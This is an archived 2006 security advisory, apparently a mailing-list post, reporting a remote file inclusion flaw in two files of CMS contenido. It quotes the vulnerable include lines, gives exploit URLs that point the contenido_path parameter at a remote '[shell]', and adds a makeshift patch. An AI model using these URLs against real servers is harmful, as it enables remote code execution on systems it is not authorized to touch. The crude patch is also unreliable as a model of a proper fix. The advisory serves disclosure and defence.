OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
CMS contenido Remote File Inclusion

CvIr.Systemgmail.com
Date: Fri Oct 13 2006 - 09:39:53 CDT


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                         CMS contenido Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          Affected Software .: CMS contenido
                          Download..: http://www.contenido.org/opensourcecms/en/index-a-104.html
                          Risk ..............: high
                          Found by ..........: CvIr.System
                          Contact ...........: CvIr.System[at]gmail.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Affected File:
cms/dbfs.php

 Vulnerable Code:

include_once ($contenido_path . "includes/startup.php");

     Affected File:
cms/front_content.php

include_once ($contenido_path."includes/startup.php");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:
                                                                      
    http://[target]/cms/dbfs.php?contenido_path=[shell]?
    http://[target]/cms/front_content.php?contenido_path=[shell]?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fixed bug:

if(isset($_GET['contenido_path']))
 {
echo "Fixed bug by CvIr.System";
exit;
}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Special GreetingS:_ANtrAX_|Azrael|her0|Matasanos|Ednux|4ur3v0ir|FR34K|Hanowars|Bacan|xarnuz|Slappter|mnox|Zickox|Txis|The Shredder|FaLeNcE|Darkness-Mx| www.c-group.org